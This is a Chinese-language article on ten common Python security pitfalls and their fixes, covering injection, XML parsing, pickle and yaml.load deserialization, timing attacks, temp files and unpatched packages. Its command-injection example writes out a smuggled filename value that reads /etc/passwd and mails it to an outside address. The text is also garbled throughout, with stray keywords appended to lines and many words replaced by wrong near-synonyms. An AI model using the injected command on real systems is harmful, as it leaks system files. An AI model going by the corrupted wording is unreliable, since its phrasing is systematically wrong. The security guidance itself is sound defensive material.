一、输入注入 php
注入攻击影响普遍且很常见,注入有不少种类,它们影响全部的语言、框架和环境。html
SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合。我读过不少代码,其中“引号字符转义”被认为是一种修复,但事实并不是如此,能够经过这个连接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入全部可能发生的方式。python
命令注入有可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。git
下面是个简单的脚本(连接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用户提供的文件名调用子进程:github
攻击者会将filename的值设置为“; cat /etc/passwd | mail them@domain.com或者其余一样危险的值。web
修复方法:算法
若是你使用了 Web 框架,能够用附带的实用程序对输入进行清理,除非有充分的理由,不然不要手动构建 SQL 查询,大多数 ORM 都有内置的清理方法。sql
对于 shell,可使用 shlex 模块正确地转义输入。shell
二、解析XMLubuntu
若是您的应用程序加载并解析XML文件,可能您正在使用一个XML标准库模块。有一些针对XML的常见攻击。大多数为DoS风格(旨破坏系统而不是盗取数据)。这些攻击很常见,特别是在解析外部(即不可信任的)XML文件时。
其中一种攻击为“billion laughs”,由于加载的文件包含了不少个(数十亿)“lols”。你能够加载XML实体文件,当XML解析器试图将这个XML文件加载到内存中时,会消耗不少个G的内存。不信就试试看:-)
另外一种攻击使用外部实体扩展。 XML支持从外部URL引用实体,XML解析器一般会直接获取并加载该资源。“攻击者能够绕开防火墙访问保密资源,由于全部请求都是由内部可信的IP地址建立的,请求不是来自于外部。”
须要考虑的另外一种状况是您要依赖于第三方软件包来解码XML,例如配置文件,远程API。您甚至不知道您的某个依赖包已经暴露在攻击之下。
那么在Python中会发生什么?标准库模块etree,DOM,xmlrpc都容易遭受这些类型的攻击。详情参考此连接: https://docs.python.org/3/library/xml.html#xml-vulnerabilities
修复方法:
直接用defusedxml(连接:https://pypi.org/project/defusedxml/)替换标准库模块。它增长了针对这类攻击的安全防御。
三、Assert 语句
不要使用 assert 语句来防止用户访问特定代码段。例如:
默认状况下,Python 以 __debug__ 为 true 来执行脚本,但在真实环境中,一般使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而无论用户是不是 is_admin 。
修复方法:
仅在单元测试中使用 assert 语句。
四、计时攻击
计时攻击本质上是一种经过计算比较提供值所需时间来暴露行为和算法的方式。计时攻击须要精确性,因此一般不能用于高延迟的远程网络。因为大多数 Web 应用程序涉及可变延迟,所以几乎不可能针对 HTTP Web 服务器编写计时攻击。
可是,若是你的应用程序有提示输入密码的命令行,攻击者就能够编写一个简单的脚原本计算将其值与实际密码进行比较所需的时间。例子参考连接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/
这里有一个基于SSH计时攻击的Python 工具,你能够看看如何使用它。连接:https://github.com/c0r3dump3d/osueta
修复方法:
使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其余私密值。
五、感染site-packages 或导入路径
Python的导入系统很是灵活。当你为测试程序编写猴子补丁,或者重载核心函数时,你会感受很是方便。
但这也是Python最大的安全漏洞之一。
将第三方包安装到site-packages中,不管是在虚拟环境中仍是在全局site-packages中,你都将暴露在安全风险中。
有一些发布到PyPi的包与流行的包具备类似的名称,可是却执行了任意代码。幸运的是,这极可能没有太大危害,只会“明确表示”这个问题没有获得真正的解决。
须要考虑的另外一种状况是多层依赖包。它们可能包含漏洞,它们也能够经过导入系统重写Python默认行为。
修复方法:
你能够利用PyUp.io这个网站提供的工具检查你的第三方包。使用虚拟环境,确保您的全局site-packages尽量干净。检查包签名。
六、临时文件
要在 Python 中建立临时文件,你一般会使用 mktemp ( )函数生成一个文件名,而后使用该名称建立一个文件。 “这是不安全的,由于另外一个进程可能会在调用 mktemp ( )和随后尝试经过第一个进程建立文件之间的空隙建立一个同名文件。”这意味着应用程序可能加载错误的数据或暴露其余的临时数据。
若是调用不正确,最新版本的 Python 会发出运行警告。
修复方法:
若是须要生成临时文件,请使用 tempfile 模块并使用 mkstemp。(参考连接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)
七、使用 yaml.load
这里引用 PyYAML 的说明文档:
警告:使用不可信源的数据调用 yaml.load 是不安全的! yaml.load 和pickle.load 同样强大,因此能够调用任何 Python 函数。
在流行的Python项目 Ansible 中找到的这样一个例子(连接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你能够将此值提供给 Ansible Vault做为(有效的)YAML,它使用文件中提供的参数调用 os.system。
因此,从用户提供的值中加载 YAML 文件会让应用大门洞开,很容易遭受攻击。
修复方法:
老是使用 yaml.safe_load,除非你有其它更好的方法。
八、Pickle漏洞
用pickle反序列化数据和YAML同样糟糕。在pickle对象时,Python类能够声明一个名为__reduce__的魔术方法,该方法返回一个字符串、或一个元组。攻击者可使用它来引用其中一个子进程模块,在主机上运行任意命令。
这有一个在Python2中pickle一个类并打开shell的例子(连接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法请看这个连接:https://lincolnloop.com/blog/playing-pickle-security/
修复方法:
切勿用pickle反序列化不受信任或未经身份验证的数据。改用另外一种序列化模式,如JSON。
九、使用系统自带的Python而不修补漏洞
大多数可移植操做系统都自带Python2,一般仍是旧版本。
因为“Python”,即CPython是用C语言编写的,因此Python解释器自己存在漏洞。 C语言中常见的安全问题与内存分配有关,因此存在缓冲区溢出错误。
多年来CPython出现了多个溢出漏洞,每一个漏洞都在后续版本中进行了修复。
也就是说,若是你修补了Python自己的漏洞,你就是安全的。
这里有一个Python2.7.13及如下版本的整数溢出漏洞实例,连接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17之前版本的Python漏洞请参看连接:https://distrowatch.com/table.php?distribution=ubuntu
修复方法:
安装最新版本的Python并及时修补漏洞。
十、不修补依赖包的漏洞
相似于修补Python自己的漏洞,您还须要按期修补依赖包漏洞。有人习惯于使用PyPi软件包的“固定”版本,这种作法很可怕。他们认为“这些是有用的版本”,因此每一个人都对漏洞置若罔闻。
上面提到的全部漏洞若是存在于你使用的包中,它们一样很致命。这些软件包的开发人员无时不刻不在解决安全问题。
修复方法:
使用相似于PyUP.io这个网站提供的服务去检查更新,向应用程序发送pull/merge 请求,运行测试,让软件包保持更新。使用InSpec这样的工具(连接:https://www.inspec.io/docs/reference/resources/pip/)来验证真实环境中的安装版本,并确保修补了最小版本或多个连续版本的漏洞。